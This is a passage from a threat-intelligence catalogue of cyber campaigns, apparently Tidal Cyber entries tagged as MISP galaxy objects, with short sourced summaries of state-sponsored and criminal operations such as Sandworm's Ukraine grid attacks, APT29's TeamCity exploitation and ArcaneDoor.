conducted against Ukraine by [Sandworm Team]([ESET Industroyer(https://app.tidalcyber.com/references/9197f712-3c53-4746-9722-30e248511611)]</sup>^{[[Dragos Crashoverride 2018](https://app.tidalcyber.com/references/d14442d5-2557-4a92-9a29-b15a20752f56)]}

The tag is: *misp-galaxy:campaigns="2016 Ukraine Electric Power Attack"*

2022 Ukraine Electric Power Attack

The [2022 Ukraine Electric Power Attack](https://app.tidalcyber.com/campaigns/a79e06d1-df08-5c72-9180-2c373274f889) was a [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) campaign that used a combination of GOGETTER, Neo-REGEORG, [CaddyWiper](https://app.tidalcyber.com/software/62d0ddcd-790d-4d2d-9d94-276f54b40cf0), and living of the land (LotL) techniques to gain access to a Ukrainian electric utility to send unauthorized commands from their SCADA system.^{[[Mandiant-Sandworm-Ukraine-2022](https://app.tidalcyber.com/references/7ad64744-2790-54e4-97cd-e412423f6ada)]}^{[[Dragos-Sandworm-Ukraine-2022](https://app.tidalcyber.com/references/a17aa1b1-cda4-5aeb-b401-f4fd47d29f93)]}

The tag is: *misp-galaxy:campaigns="2022 Ukraine Electric Power Attack"*

2023 Increased Truebot Activity

In July 2023, U.S. authorities released joint Cybersecurity Advisory AA23-187A, which detailed increased observations of new variants of the Truebot botnet malware infecting organizations in the United States and Canada. Authorities assessed that Truebot infections are primarily motivated around collection and exfiltration of sensitive victim data for financial gain. Officials also assessed that actors were using both spearphishing emails containing malicious hyperlinks and exploitation of CVE-2022-31199 in the IT system auditing application Netwrix Auditor to deliver Truebot during these attacks. Additional tools associated with the attacks included Raspberry Robin for initial infections, FlawedGrace and Cobalt Strike for various post-exploitation activities, and Teleport, a custom tool for data exfiltration.^{[[U.S. CISA Increased Truebot Activity July 6 2023](/references/6f9b8f72-c55f-4268-903e-1f8a82efa5bb)]}

The Advisory did not provide specific impacted victim sectors. The Advisory referred to activity taking place “in recent months” prior to July 2023 but did not provide an estimated date when the summarized activity began. A public threat report referenced in the Advisory reported an observed increase in Truebot infections beginning in August 2022, including several compromises involving education sector organizations.^{[[U.S. CISA Increased Truebot Activity July 6 2023](/references/6f9b8f72-c55f-4268-903e-1f8a82efa5bb)]}^{[[Cisco Talos Blog December 08 2022](/references/bcf92374-48a3-480f-a679-9fd34b67bcdd)]}

Related Vulnerabilities: CVE-2022-31199^{[[U.S. CISA Increased Truebot Activity July 6 2023](/references/6f9b8f72-c55f-4268-903e-1f8a82efa5bb)]}

The tag is: *misp-galaxy:campaigns="2023 Increased Truebot Activity"*

2023 Ivanti EPMM APT Vulnerability Exploits

In August 2023, U.S. Cybersecurity & Infrastructure Security Agency (CISA) and Norwegian National Cyber Security Centre (NCSC-NO) authorities released Cybersecurity Advisory AA23-213A, which detailed observed exploitation of two vulnerabilities, CVE-2023-35078 and CVE-2023-35081, affecting Ivanti Endpoint Manager Mobile (EPMM), a solution which provides elevated access to an organization's mobile devices. According to the Advisory, authorities observed unspecified advanced persistent threat (APT) actors exploiting CVE-2023-35078 as a zero-day from at least April 2023 in order to gather information from unspecified organizations in Norway, and to gain initial access to a Norwegian government agency.

Ivanti released a CVE-2023-35078 patch on July 23, but then determined that CVE-2023-35081 could be chained together with the first vulnerability, a process which can enable arbitrary upload and execution of actor files, such as web shells. Ivanti released a CVE-2023-35081 patch on July 28. The Advisory provided mitigation recommendations, vulnerability and compromise identification methods, and incident response guidance, which can be found in the [source report]([U.S. CISA CVE-2023-35078 Exploits(/references/62305b8a-76c8-49ec-82dc-6756643ccf7a)]</sup>

Related Vulnerabilities: CVE-2023-35078^{[[U.S. CISA CVE-2023-35078 Exploits](/references/62305b8a-76c8-49ec-82dc-6756643ccf7a)]}, CVE-2023-35081^{[[U.S. CISA CVE-2023-35078 Exploits](/references/62305b8a-76c8-49ec-82dc-6756643ccf7a)]}

The tag is: *misp-galaxy:campaigns="2023 Ivanti EPMM APT Vulnerability Exploits"*

2023 Zoho ManageEngine APT Exploits

In September 2023, U.S. cybersecurity authorities released Cybersecurity Advisory AA23-250A, which detailed multiple intrusions in early 2023 involving an aeronautical sector organization and attributed to multiple unspecified "nation-state advanced persistent threat (APT) actors". As early as January, one set of actors exploited CVE-2022-47966, a vulnerability in the Zoho ManageEngine ServiceDesk Plus IT service management application that allows remote code execution, to access the organization's public-facing web servers. A separate set of actors was also observed exploiting CVE-2022-42475, a vulnerability in Fortinet, Inc.'s FortiOS SSL-VPN that also allows remote code execution, to gain access to the organization's firewall devices.

After gaining access, the actors downloaded malware, performed network discovery, collected administrator credentials, and moved laterally, but according to the advisory, unclear data storage records inhibited insight into whether any proprietary information was accessed, altered, or exfiltrated. A common behavior among both sets of actors was log deletion from critical servers and the use of disabled, legitimate administrator credentials, which in one case belonged to a previously employed contractor (the organization confirmed the credentials were disabled before the observed threat activity).^{[[U.S. CISA Zoho Exploits September 7 2023](/references/6bb581e8-ed0e-41fe-bf95-49b5d11b4e6b)]}

In addition to behavioral observations and indicators of compromise, the Advisory provided detection and mitigation guidance, which can be found in the [source report](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-250a).

Related Vulnerabilities: CVE-2022-47966, CVE-2022-42475, CVE-2021-44228^{[[U.S. CISA Zoho Exploits September 7 2023](/references/6bb581e8-ed0e-41fe-bf95-49b5d11b4e6b)]}

The tag is: *misp-galaxy:campaigns="2023 Zoho ManageEngine APT Exploits"*

2024-25 State-Sponsored Actor ClickFix Use

An object that represents a collection of MITRE ATT&CK® Techniques and other objects referenced in Proofpoint's [April 2025 report](https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-sponsored-actors-try-clickfix), "Around the World in 90 Days: State-Sponsored Actors Try ClickFix".^{[[Proofpoint April 16 2025](/references/2fa6240b-ff2a-4d4b-93f2-901e15cffd5f)]}

The tag is: *misp-galaxy:campaigns="2024-25 State-Sponsored Actor ClickFix Use"*

2024 Increased ClickFix Activity

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="2024 Increased ClickFix Activity"*

2025 Bluenoroff Cryptocurrency Foundation Targeting

Actors attributed to North Korean APT Bluenoroff targeted an employee at a cryptocurrency foundation, social engineering the user into downloading a malicious file that enabled a complex attack chain that used keylogging and screen captures to harvest sensitive information. Initial access involved convincing the target to join a Zoom meeting that featured suspected "deepfake" personas that impersonated senior leaders at the victim's employer.^{[[huntress.com June 18 2025](/references/5cc28485-6d45-46b0-9798-e6e18dc6f772)]}

The tag is: *misp-galaxy:campaigns="2025 Bluenoroff Cryptocurrency Foundation Targeting"*

Actor-Claimed Compromise & Exfiltration from Oracle Cloud Servers

Note: This object includes Technique relationships related to the original alleged server compromise activity as well as related to unconfirmed follow-on behavior. Note too that most details here are based on threat actor claims (as well as research based on those claims).

On March 20, 2025, the threat actor with the BreachForums username "rose87168" claimed to have compromised Oracle Cloud federated SSO login servers and offered 6 million data records for sale, which the actor allegedly exfiltrated from the compromised servers. Oracle representatives denied that a breach occurred or that a sample of credentials leaked by the actor are associated with Oracle Cloud.^{[[BleepingComputer March 21 2025](/references/cd23fb70-d507-4b22-8254-6f0f39ea54c1)]}

The actor claimed to have stolen encrypted SSO passwords and key files from compromised servers.^{[[BleepingComputer March 21 2025](/references/cd23fb70-d507-4b22-8254-6f0f39ea54c1)]} Researchers indicated that the actor likely accessed servers via an exploit of CVE-2021-35587 in Oracle Access Manager (OpenSSO Agent) software. They also suggested that more than 140,000 Oracle Cloud customer tenants were affected.^{[[CloudSEK March 21 2025](/references/3689def4-9eb1-4e74-b7f0-c2873252eb25)]}

The tag is: *misp-galaxy:campaigns="Actor-Claimed Compromise & Exfiltration from Oracle Cloud Servers"*

AMBERSQUID

AMBERSQUID is a "cloud-native" financially motivated threat operation that specifically leverages AWS services. Researchers estimated that AMBERSQUID cryptojacking activity could cost its victims more than $10,000 per day.^{[[Sysdig AMBERSQUID September 18 2023](/references/7ffa880f-5854-4b8a-83f5-da42c1c39345)]}

The tag is: *misp-galaxy:campaigns="AMBERSQUID"*

Andariel Espionage Activity

In July 2024, U.S. cybersecurity authorities and international partners published Cybersecurity Advisory AA24-207A, which detailed North Korean state-sponsored cyber espionage activity likely intended to support the regime’s military and nuclear development programs. The advisory focused on an actor group tracked as Andariel, Onyx Sleet, and APT45 and highlighted how this group has shifted from conducting destructive attacks to carrying out espionage operations that have been funded through ransomware. Where past destructive operations mainly targeted U.S. and South Korean entities, recent espionage attacks targeted various defense, aerospace, nuclear, and engineering organizations, while ransomware attacks targeted U.S. healthcare entities.

Andariel actors gain initial access especially by exploiting software vulnerabilities, use widely available tools for discovery and privilege escalation, and leverage a wide range of custom as well as commodity malware. The advisory does not clearly identify the timeframe in which malicious activities were observed, although it discusses actors' exploits of vulnerabilities disclosed in 2017, 2019, and especially 2021, 2022, and 2023 and referenced public threat reporting published from March 2021 through May 2024.^{[[U.S. CISA Andariel July 25 2024](/references/b615953e-3c6c-4201-914c-4b75e45bb9ed)]}

The tag is: *misp-galaxy:campaigns="Andariel Espionage Activity"*

April 2024 FIN7 Malvertising Campaign

Threat actors, believed to be associated with the FIN7 financially motivated adversary group, stood up malicious hosting websites impersonating prominent brands in the financial services, technology/SaaS, and media sectors, then used paid web search advertisements to direct victims to these sites. Victims were then tricked into downloading malicious binaries, which ultimately led to the ingress of the NetSupport RAT and/or DiceLoader (aka Lizar) malware (these latter tools are known to be used for a range of persistent access and malware ingress purposes).<sup>[[Esentire 5

8 2024](/references/67c3a7ed-e2e2-4566-aca7-61e766f177bf)]</sup>

The tag is: *misp-galaxy:campaigns="April 2024 FIN7 Malvertising Campaign"*

APT28 Cisco Router Exploits

In April 2023, U.S. and UK cybersecurity authorities released joint Cybersecurity Advisory AA23-108, which detailed a campaign by Russia-backed APT28 to compromise vulnerable routers running Cisco Internetworking Operating System (IOS). Actors collected device information and conducted further network reconnaissance on victims “worldwide”, including U.S. government institutions, 250 Ukrainian entities, and “a small number” of victims elsewhere in Europe. Adversary activity occurred over an unspecified timeframe in 2021.

Actors exploited CVE-2017-6742, a Simple Network Management Protocol (SNMP) vulnerability for which Cisco released a patch in 2017, and used default authentication strings to gain initial access to devices and subsequently gather router information, such as router interface details. In some cases, authorities observed actors deploying Jaguar Tooth, a malicious software bundle consisting of a series of payloads and patches. Jaguar Tooth deployments allowed actors to collect further device information via execution of Cisco IOS Command Line Interface commands, discover other network devices, and achieve unauthenticated, backdoor access to victim systems.^{[[U.S. CISA APT28 Cisco Routers April 18 2023](/references/c532a6fc-b27f-4240-a071-3eaa866bce89)]}

In addition to behavioral observations, the Advisory also provided mitigation recommendations and indicators of compromise, which can be found in the [source report](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-108).

Related Vulnerabilities: CVE-2017-6742^{[[U.S. CISA APT28 Cisco Routers April 18 2023](/references/c532a6fc-b27f-4240-a071-3eaa866bce89)]}

The tag is: *misp-galaxy:campaigns="APT28 Cisco Router Exploits"*

APT28 Nearest Neighbor Campaign

[APT28 Nearest Neighbor Campaign](https://app.tidalcyber.com/campaigns/1acf0182-79e6-5a89-b0cd-645a72094aac) was conducted by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) from early February 2022 to November 2024 against organizations and individuals with expertise on Ukraine. APT28 primarily leveraged living-off-the-land techniques, while leveraging the zero-day exploitation of CVE-2022-38028. Notably, APT28 leveraged Wi-Fi networks in close proximity to the intended target to gain initial access to the victim environment. By daisy-chaining multiple compromised organizations nearby the intended target, APT28 discovered dual-homed systems (with both a wired and wireless network connection) to enable Wi-Fi and use compromised credentials to connect to the victim network.^{[[Nearest Neighbor Volexity](https://app.tidalcyber.com/references/25b312ea-0d7a-5f05-9db1-14bbab909317)]}

The tag is: *misp-galaxy:campaigns="APT28 Nearest Neighbor Campaign"*

APT28 Router Compromise Attacks

U.S. authorities and various international partners released joint cybersecurity advisory AA20-150A, which detailed a series of attacks linked to APT28 that leveraged compromised Ubiquiti EdgeRouters to facilitate the attacks. Actors used the network of compromised routers for a range of malicious activities, including harvesting credentials, proxying network traffic, and hosting fake landing pages and post-exploitation tools. Attacks targeted organizations in a wide range of sectors around the world.^{[[U.S. Federal Bureau of Investigation 2 27 2024](/references/962fb031-dfd1-43a7-8202-3a2231b0472b)]} According to a separate U.S. Justice Department announcement, the botnet involved in these attacks differed from previous APT28-linked cases, since nation-state actors accessed routers that had been initially compromised by a separate, unspecified cybercriminal group.^{[[U.S. Justice Department GRU Botnet February 2024](/references/26a554dc-39c0-4638-902d-7e84fe01b961)]}

The tag is: *misp-galaxy:campaigns="APT28 Router Compromise Attacks"*

APT29 Abuses Cloud Storage Services for Malware Delivery

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="APT29 Abuses Cloud Storage Services for Malware Delivery"*

APT29 Cloud TTP Evolution

UK cybersecurity authorities and international partners published Cybersecurity Advisory AA24-057A (February 2024), which detailed recent tactics, techniques, and procedures (TTPs) used by Russian state-backed adversary group APT29 to target cloud environments. The advisory indicated that as more government agencies and enterprises move elements of their operations to cloud infrastructure, APT29 actors have especially adapted their TTPs for gaining initial access into these cloud environments.^{[[U.S. CISA APT29 Cloud Access](/references/e9e08eca-1e01-4ff0-a8ef-49ecf66aaf3d)]}

The tag is: *misp-galaxy:campaigns="APT29 Cloud TTP Evolution"*

APT29 TeamCity Exploits

Operationalize this intelligence by pivoting to relevant defensive resources via the Techniques below. Alternatively, use the Add to Matrix button above, then overlay entire sets of capabilities from your own defensive stack to identify threat overlaps & potential gaps (watch a [60-second tutorial here](https://www.youtube.com/watch?v=4jBo3XLO01E)).

In December 2023, U.S. cybersecurity authorities and international partners released Cybersecurity Advisory AA23-347A, which detailed large-scale observed exploitation of CVE-2023-42793 since September 2023 by cyber threat actors associated with Russia’s Foreign Intelligence Service (SVR).

According to the advisory, these actors are also known as APT29, the Dukes, CozyBear, and NOBELIUM/Midnight Blizzard.

CVE-2023-42793 is an authentication bypass vulnerability in the JetBrains TeamCity software development program. After exploiting the vulnerability to gain access into victim networks, SVR actors were then observed escalating privileges, moving laterally, and deploying additional backdoors in an apparent effort to maintain long-term persistent access to victim environments. The advisory noted how SVR actors used access gained during the 2020 compromise of SolarWinds, another software company, to conduct supply chain operations affecting SolarWinds customers, but it also noted that such activity has not been observed in this case to date.

JetBrains released a patch for CVE-2023-42793 in September 2023. The advisory indicated that the compromises observed to date appear to be opportunistic, impacting unpatched, internet-accessible TeamCity servers. “A few dozen” compromised entities have been identified so far (companies in disparate sectors in the United States, Europe, Asia, and Australia), but authorities assess that this tally does not represent the full number of compromised victims. Indicators of compromise, mitigation guidance, and detection resources – including Sigma and YARA rules – can be found in the [source report]([U.S. CISA SVR TeamCity Exploits December 2023(/references/5f66f864-58c2-4b41-8011-61f954e04b7e)]</sup>

The tag is: *misp-galaxy:campaigns="APT29 TeamCity Exploits"*

APT40 Recent Tradecraft (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Leviathan Australian Intrusions" (Campaign). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

On July 8, 2024, international authorities published an advisory (CISA Alert AA24-190A) that detailed recent activity associated with APT40, a Chinese state-sponsored cyber espionage group. The advisory covers observed attacks on Australian organizations, but the group has been recently active elsewhere (Tidal metadata shows observed activity historically across East/Southeast Asia, the Middle East, Europe, and North America). The advisory emphasized that the recently published TTPs are relevant for defenders at organizations “globally”.

The advisory spotlighted the group’s efforts to compromise outdated small-office/home-office (SOHO) routers via vulnerability exploits, using the routers as infrastructure to carry out further attacks. However, the advisory also summarized a range of other Techniques not previously associated with APT40, which were used at phases across the attack chain, including for persistence, credential access, lateral movement, collection, and exfiltration.^{[[U.S. CISA APT40 July 8 2024](/references/3bf90a48-caf6-4b9d-adc2-3d1176f49ffc)]}

The tag is: *misp-galaxy:campaigns="APT40 Recent Tradecraft (Deprecated)"*

APT41 DUST

[APT41 DUST](https://app.tidalcyber.com/campaigns/b90adbbd-0fe3-5c5f-9433-543a5f01b0ae) was

conducted by [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) from 2023 to July 2024 against entities in Europe, Asia, and the Middle East. [APT41 DUST](https://app.tidalcyber.com/campaigns/b90adbbd-0fe3-5c5f-9433-543a5f01b0ae) targeted sectors such as shipping, logistics, and media for information gathering purposes. [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) used previously-observed malware such as [DUSTPAN](https://app.tidalcyber.com/software/78454d3f-fa12-5b6f-9390-6412064d7c8d) as well as newly observed tools such as [DUSTTRAP](https://app.tidalcyber.com/software/ed72d5bb-2cf7-51a4-9d76-97fbd11c54d0) in [APT41 DUST]([Google Cloud APT41 2024(https://app.tidalcyber.com/references/33bb9f8a-db9d-5dda-b4ae-2ba7fee0a0ae)]</sup>

The tag is: *misp-galaxy:campaigns="APT41 DUST"*

ArcaneDoor

[ArcaneDoor](https://app.tidalcyber.com/campaigns/04e7a8d6-c80f-5dab-979c-0c52969abe66) is a campaign targeting networking devices from Cisco and other vendors between July 2023 and April 2024, primarily focused on government and critical infrastructure networks. [ArcaneDoor](https://app.tidalcyber.com/campaigns/04e7a8d6-c80f-5dab-979c-0c52969abe66) is associated with the deployment of the custom backdoors [Line Runner](https://app.tidalcyber.com/software/dd98310f-9824-5c75-944f-79b5eabbfe58) and [Line Dancer](https://app.tidalcyber.com/software/9781f766-1afc-517b-9b3e-1cbeed9c556e). [ArcaneDoor](https://app.tidalcyber.com/campaigns/04e7a8d6-c80f-5dab-979c-0c52969abe66) is attributed to a group referred to as UAT4356 or STORM-1849, and is assessed to be a state-sponsored campaign.^{[[Cisco ArcaneDoor 2024](https://app.tidalcyber.com/references/da99c764-8c3d-5a2c-9321-0f6fe4da141b)]}^{[[CCCS ArcaneDoor 2024](https://app.tidalcyber.com/references/904b6c9a-8ab9-572e-aa9a-90f840c8ff82)]}

The tag is: *misp-galaxy:campaigns="ArcaneDoor"*

ArcaneDoor (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "ArcaneDoor" (Campaign). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

ArcaneDoor was a campaign, which likely ran from November 2023 until around February 2024, that targeted Cisco Adaptive Security Appliances (ASAs). ASAs are network devices that combine firewall, VPN, and other functionality. The campaign targeted unspecified government institutions around the world and was believed to have been conducted for espionage purposes.^{[[Cisco Talos ArcaneDoor April 24 2024](/references/531c3f6f-2d2b-4774-b069-e2b7a13602c1)]}

Researchers attributed the campaign to UAT4356 (aka Storm-1849), a possible China-linked adversary.^{[[Wired ArcaneDoor April 24 2024](/references/05a8afd3-0173-41ca-b23b-196ea0f3b1c1)]} The initial access vector for the ArcaneDoor attacks remains unclear. After gaining a foothold, actors used the Line Dancer tool to upload Line Runner, a persistence and arbitrary code execution capability, to compromised ASAs (Cisco assigned two vulnerabilities, CVE-

2024-20359 and CVE-2024-20353, to these activities). Responders observed various actions on objectives during the attacks, including device configuration modification, network traffic capture, and possible lateral movement.^{[[Cisco Talos ArcaneDoor April 24 2024](/references/531c3f6f-2d2b-4774-b069-e2b7a13602c1)]}

The tag is: *misp-galaxy:campaigns="ArcaneDoor (Deprecated)"*

AWS Data Theft & Ransom Attack

This object represents a collection of MITRE ATT&CK® Techniques related to an incident response where an attacker used exposed cloud credentials to gain access to an AWS environment and ultimately collect and exfiltrate data before deleting files and leaving a ransom note extorting the victim to recover the stolen data.^{[[Www.invictus-ir.com 1 11 2024](/references/5e2a0756-d8f6-4359-9ca3-1e96fb8b5ac9)]}

The tag is: *misp-galaxy:campaigns="AWS Data Theft & Ransom Attack"*

AWS Fargate Cryptojacking Activity

Security researchers observed adversary activity that involved deployment of hundreds of AWS ECS Fargate clusters used to run XMRig cryptomining software. Researchers assessed that the activity was likely part of a wider campaign involving potentially hundreds of thousands of environments.^{[[Datadog ECS January 19 2024](/references/7e4e44a7-b079-41af-b41d-176ba7e99563)]}

The tag is: *misp-galaxy:campaigns="AWS Fargate Cryptojacking Activity"*

AWS Lambda Credential Theft & Phishing Attack

This object represents a collection of MITRE ATT&CK® Techniques related to an incident response where an attacker was able to steal AWS Lambda credentials, use them to execute various API calls and enumerate various cloud services, and ultimately perform a cloud-based phishing attack, which reportedly cost the target organization considerable financial damage.^{[[Unit 42 12 8 2022](/references/e7a4a0cf-ffa2-48cc-9b21-a2333592c773)]}

The tag is: *misp-galaxy:campaigns="AWS Lambda Credential Theft & Phishing Attack"*

BadPilot

Microsoft researchers identified activity tied to a subgroup of the Russian state actor Seashell Blizzard, referred to as the "BadPilot campaign," which involved execution of prolonged initial access operations targeting Internet-facing infrastructure. This activity facilitated persistent access to high-value targets and supported customized network operations.^{[[Microsoft Security Blog February 12 2025](/references/300bf6cb-582b-4e15-8cca-cb68c8856e6f)]}

The tag is: *misp-galaxy:campaigns="BadPilot"*

BianLian Group 2024 Activity

This object represents a collection of the MITRE ATT&CK® Techniques added to joint Cybersecurity Advisory AA23-270A (originally published in May 2023) in November 2024, which focused on recent activity associated with BianLian, a ransomware & extortion actor group. The updated advisory highlighted BianLian TTPs observed by international cybersecurity authorities as recently as June 2024.

Technique Relationships originally associated with BianLian from advisory AA23-270A can be found in the "BianLian Ransomware Group" Group object. According to the 2024 advisory update, BianLian actors are believed to have shifted "primarily" to exfiltration-based extortion (as opposed to ransomware encryption-based attacks) around January 2023 and subsequently shifted "exclusively" to exfiltration-based extortion approximately one year later.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:campaigns="BianLian Group 2024 Activity"*

Black Basta Operator Social Engineering Campaign

Adversaries used email bombing and subsequent voice phishing to convince target users into granting the actors remote access to victim systems via legitimate tools including AnyDesk and the built-in Windows Quick Assist utility. The actors then used malicious remote access tools to access other assets within compromised environments, in some cases followed by deployment of Black Basta ransomware.^{[[Rapid7 Blog 5 10 2024](/references/ba749fe0-1ac7-4767-85df-97e6351c37f9)]}^{[[Microsoft Security Blog 5 15 2024](/references/0876de6e-ea0c-4717-89a4-9c7baed53b6f)]}

The tag is: *misp-galaxy:campaigns="Black Basta Operator Social Engineering Campaign"*

BlindEagle BlotchyQuasar Activity

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:campaigns="BlindEagle BlotchyQuasar Activity"*

BlueAlpha Cloudflare Tunneling Activity

BlueAlpha, a group overlapping with Russia’s Gamaredon Group, was observed carrying out spearphishing attacks targeting Ukrainian-speaking individuals and organizations. Phishing attachments were used to download and execute malware including GammaDrop and GammaLoad. Infrastructure used to stage GammaDrop leveraged Cloudflare Tunnels, a freely available service, to conceal malicious traffic by proxying it via the Cloudflare network.^{[[Recorded Future BlueAlpha December 5 2024](/references/0baac037-864d-47d6-beb2-6243cd816036)]}

The tag is: *misp-galaxy:campaigns="BlueAlpha Cloudflare Tunneling Activity"*

Bumblebee Distribution Campaigns 2023-24

This object represents observed pre-attack, initial access, execution, and other techniques used to distribute Bumblebee malware in 2023 and early 2024. Further background & contextual details can be found in the References tab below, and additional techniques associated with the technical mechanics of Bumblebee binaries can be found in the relevant Software object.

The tag is: *misp-galaxy:campaigns="Bumblebee Distribution Campaigns 2023-24"*

C0010

[C0010](https://app.tidalcyber.com/campaigns/a1e33caf-6eb0-442f-b97a-f6042f21df48) was a cyber espionage campaign conducted by UNC3890 that targeted Israeli shipping, government, aviation, energy, and healthcare organizations. Security researcher assess UNC3890 conducts operations in support of Iranian interests, and noted several limited technical connections to Iran, including PDB strings and Farsi language artifacts. [C0010](https://app.tidalcyber.com/campaigns/a1e33caf-6eb0-442f-b97a-f6042f21df48) began by at least late 2020, and was still ongoing as of mid-2022.^{[[Mandiant UNC3890 Aug 2022](https://app.tidalcyber.com/references/7b3fda0b-d327-4f02-bebe-2b8974f9959d)]}

The tag is: *misp-galaxy:campaigns="C0010"*

C0011

[C0011](https://app.tidalcyber.com/campaigns/4c7386a7-9741-4ae4-8ad9-def03ed77e29) was a suspected cyber espionage campaign conducted by [Transparent Tribe](https://app.tidalcyber.com/groups/441b91d1-256a-4763-bac6-8f1c76764a25) that targeted students at universities and colleges in India. Security researchers noted this campaign against students was a significant shift from [Transparent Tribe](https://app.tidalcyber.com/groups/441b91d1-256a-4763-bac6-8f1c76764a25)'s historic targeting Indian government, military, and think tank personnel, and assessed it was still ongoing as of July 2022.^{[[Cisco Talos Transparent Tribe Education Campaign July 2022](https://app.tidalcyber.com/references/acb10fb6-608f-44d3-9faf-7e577b0e2786)]}

The tag is: *misp-galaxy:campaigns="C0011"*

C0015

[C0015](https://app.tidalcyber.com/campaigns/85bbff82-ba0c-4193-a3b5-985afd5690c5) was a ransomware intrusion during which the unidentified attackers used [Bazar](https://app.tidalcyber.com/software/b35d9817-6ead-4dbd-a2fa-4b8e217f8eac), [Cobalt Strike](https://app.tidalcyber.com/software/9b6bcbba-3ab4-4a4c-a233-cd12254823f6), and [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5), along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated [Conti](https://app.tidalcyber.com/software/8e995c29-2759-4aeb-9a0f-bb7cd97b06e5) ransomware playbook based on the observed pattern of activity and operator errors.^{[[DFIR Conti Bazar Nov 2021](https://app.tidalcyber.com/references/a6f1a15d-448b-41d4-81f0-ee445cba83bd)]}

The tag is: *misp-galaxy:campaigns="C0015"*

C0017

[C0017](https://app.tidalcyber.com/campaigns/a56d7700-c015-52ca-9c52-fed4d122c100) was an [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) campaign conducted between May 2021 and February 2022 that successfully compromised at least six U.S. state government networks through the exploitation of vulnerable Internet facing web applications. During [C0017](https://app.tidalcyber.com/campaigns/a56d7700-c015-52ca-9c52-fed4d122c100), [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) was quick to adapt and use publicly-disclosed as well as zero-day vulnerabilities for initial access, and in at least two cases re-compromised victims following remediation efforts. The goals of [C0017](https://app.tidalcyber.com/campaigns/a56d7700-c015-52ca-9c52-fed4d122c100) are unknown, however [APT41](https://app.tidalcyber.com/groups/502223ee-8947-42f8-a532-a3b3da12b7d9) was observed exfiltrating Personal Identifiable Information (PII).^{[[Mandiant APT41](https://app.tidalcyber.com/references/e54415fe-40c2-55ff-9e75-881bc8a912b8)]}

The tag is: *misp-galaxy:campaigns="C0017"*

C0018

[C0018](https://app.tidalcyber.com/campaigns/0452e367-aaa4-5a18-8028-a7ee136fe646) was a month-long ransomware intrusion that successfully deployed [AvosLocker](https://app.tidalcyber.com/software/e792dc8d-b0f4-5916-8850-a61ff53125d0) onto a compromised network. The unidentified actors gained initial access to the victim network through an exposed server and used a variety of open-source tools prior to executing [AvosLocker]([Costa AvosLocker May 2022](https://app.tidalcyber.com/references/a94268d8-6b7c-574b-a588-d8fd80c27fd3)]</sup>^{[[Cisco Talos Avos Jun 2022](https://app.tidalcyber.com/references/1170fdc2-6d8e-5b60-bf9e-ca915790e534)]}

The tag is: *misp-galaxy:campaigns="C0018"*

C0021

[C0021](https://app.tidalcyber.com/campaigns/86bed8da-4cab-55fe-a2d0-9214db1a09cf) was a spearphishing campaign conducted in November 2018 that targeted public sector institutions, non-governmental organizations (NGOs), educational institutions, and private-sector corporations in the oil and gas, chemical, and hospitality industries. The majority of targets were located in the US, particularly in and around Washington D.C., with other targets located in Europe, Hong Kong, India, and Canada. [C0021](https://app.tidalcyber.com/campaigns/86bed8da-4cab-55fe-a2d0-9214db1a09cf)'s technical artifacts, tactics, techniques, and procedures (TTPs), and targeting overlap with previous suspected [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) activity.^{[[Microsoft Unidentified Dec 2018](https://app.tidalcyber.com/references/896c88f9-8765-4b60-b679-667b338757e3)]}^{[[FireEye APT29 Nov 2018](https://app.tidalcyber.com/references/30e769e0-4552-429b-b16e-27830d42edea)]}

The tag is: *misp-galaxy:campaigns="C0021"*

C0026

[C0026](https://app.tidalcyber.com/campaigns/41f283a1-b2ac-547d-98d5-ff907afd08c7) was a campaign identified in September 2022 that included the selective distribution of [KOPILUWAK](https://app.tidalcyber.com/software/d09c4459-1aa3-547d-99f4-7ac73b8043f0) and [QUIETCANARY](https://app.tidalcyber.com/software/52d3515c-5184-5257-bf24-56adccb4cccd) malware to previous [ANDROMEDA](https://app.tidalcyber.com/software/69aac793-9e6a-5167-bc62-823189ee2f7b) malware victims in Ukraine through re-registered [ANDROMEDA](https://app.tidalcyber.com/software/69aac793-9e6a-5167-bc62-823189ee2f7b) C2 domains. Several tools and tactics used during [C0026](https://app.tidalcyber.com/campaigns/41f283a1-b2ac-547d-98d5-ff907afd08c7) were consistent with historic [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) operations.^{[[Mandiant Suspected Turla Campaign February 2023](https://app.tidalcyber.com/references/d8f43a52-a59e-5567-8259-821b1b6bde43)]}

The tag is: *misp-galaxy:campaigns="C0026"*

C0027

